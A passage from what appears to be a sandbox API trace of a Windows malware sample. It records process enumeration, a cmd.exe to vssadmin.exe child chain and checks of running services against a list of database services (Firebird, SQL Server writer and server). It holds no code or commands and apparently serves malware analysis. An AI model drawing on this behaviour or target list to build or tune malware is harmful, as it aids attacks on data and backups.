lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.925] lstrlenW (lpString="smss.exe") returned 8 [0219.925] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.925] lstrlenW (lpString="csrss.exe") returned 9 [0219.925] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.926] lstrlenW (lpString="wininit.exe") returned 11 [0219.926] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.927] lstrlenW (lpString="csrss.exe") returned 9 [0219.927] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.927] lstrlenW (lpString="winlogon.exe") returned 12 [0219.927] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.928] lstrlenW (lpString="services.exe") returned 12 [0219.928] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.929] lstrlenW (lpString="lsass.exe") returned 9 [0219.929] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0219.929] lstrlenW (lpString="lsm.exe") returned 7 [0219.929] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.930] lstrlenW (lpString="svchost.exe") returned 11 [0219.930] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.931] lstrlenW (lpString="svchost.exe") returned 11 [0219.931] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.931] lstrlenW (lpString="svchost.exe") returned 11 [0219.931] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.932] lstrlenW (lpString="svchost.exe") returned 11 [0219.932] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.932] lstrlenW (lpString="svchost.exe") returned 11 [0219.932] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.933] lstrlenW (lpString="audiodg.exe") returned 11 [0219.933] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.934] lstrlenW (lpString="svchost.exe") returned 11 [0219.934] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.934] lstrlenW (lpString="svchost.exe") returned 11 [0219.934] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.935] lstrlenW (lpString="dwm.exe") returned 7 [0219.935] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.935] lstrlenW (lpString="explorer.exe") returned 12 [0219.935] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0219.936] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.937] lstrlenW (lpString="taskhost.exe") returned 12 [0219.937] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.937] lstrlenW (lpString="svchost.exe") returned 11 [0219.937] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0219.938] lstrlenW (lpString="taskeng.exe") returned 11 [0219.938] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0219.938] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0219.938] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0219.939] lstrlenW (lpString="nova.exe") returned 8 [0219.939] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0219.940] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0219.940] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0219.940] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0219.940] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0219.941] lstrlenW (lpString="picks blair.exe") returned 15 [0219.941] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0219.941] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0219.941] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0219.942] lstrlenW (lpString="principal.exe") returned 13 [0219.942] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0219.943] lstrlenW (lpString="transportation.exe") returned 18 [0219.943] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0219.943] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0219.943] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0219.944] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0219.944] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0219.944] lstrlenW (lpString="planned.exe") returned 11 [0219.944] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0219.945] lstrlenW (lpString="springer andrew.exe") returned 19 [0219.945] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0219.946] lstrlenW (lpString="cakes import.exe") returned 16 [0219.946] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0219.946] lstrlenW (lpString="theory.exe") returned 10 [0219.946] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0219.947] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0219.947] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0219.948] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0219.948] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0219.948] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0219.948] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0219.949] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0219.949] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0219.949] lstrlenW (lpString="indicescancellation.exe") returned 23 [0219.949] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0219.950] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0219.950] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0219.990] lstrlenW (lpString="desk.exe") returned 8 [0219.990] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.990] lstrlenW (lpString="svchost.exe") returned 11 [0219.990] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0219.991] lstrlenW (lpString="sppsvc.exe") returned 10 [0219.991] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.991] lstrlenW (lpString="svchost.exe") returned 11 [0219.992] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.994] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.994] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.994] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.994] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0219.995] lstrlenW (lpString="winhost.exe") returned 11 [0219.995] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0219.996] lstrlenW (lpString="cmd.exe") returned 7 [0219.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.996] lstrlenW (lpString="conhost.exe") returned 11 [0219.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0219.997] lstrlenW (lpString="vssadmin.exe") returned 12 [0219.997] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0219.998] lstrlenW (lpString="VSSVC.exe") returned 9 [0219.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.998] lstrlenW (lpString="svchost.exe") returned 11 [0219.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0219.999] CloseHandle (hObject=0x21c) returned 1 [0219.999] Sleep (dwMilliseconds=0x1f4) [0220.564] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fc30 [0220.564] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0220.565] GetLastError () returned 0xea [0220.565] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a0c628, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a0c628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0220.565] CloseServiceHandle (hSCObject=0x63fc30) returned 1 [0220.565] lstrlenW (lpString="Appinfo") returned 7 [0220.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0220.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0220.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0220.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0220.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0220.566] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0220.566] lstrlenW (lpString="AudioSrv") returned 8 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0220.566] lstrlenW (lpString="BFE") returned 3 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0220.566] lstrlenW (lpString="CryptSvc") returned 8 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0220.566] lstrlenW (lpString="CscService") returned 10 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0220.566] lstrlenW (lpString="DcomLaunch") returned 10 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0220.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0220.566] lstrlenW (lpString="Dhcp") returned 4 [0220.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0220.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0220.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0220.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0220.567] lstrlenW (lpString="Dnscache") returned 8 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0220.567] lstrlenW (lpString="DPS") returned 3 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0220.567] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0220.567] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0220.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0220.567] lstrlenW (lpString="eventlog") returned 8 [0220.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0220.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0220.567] lstrcmpiW 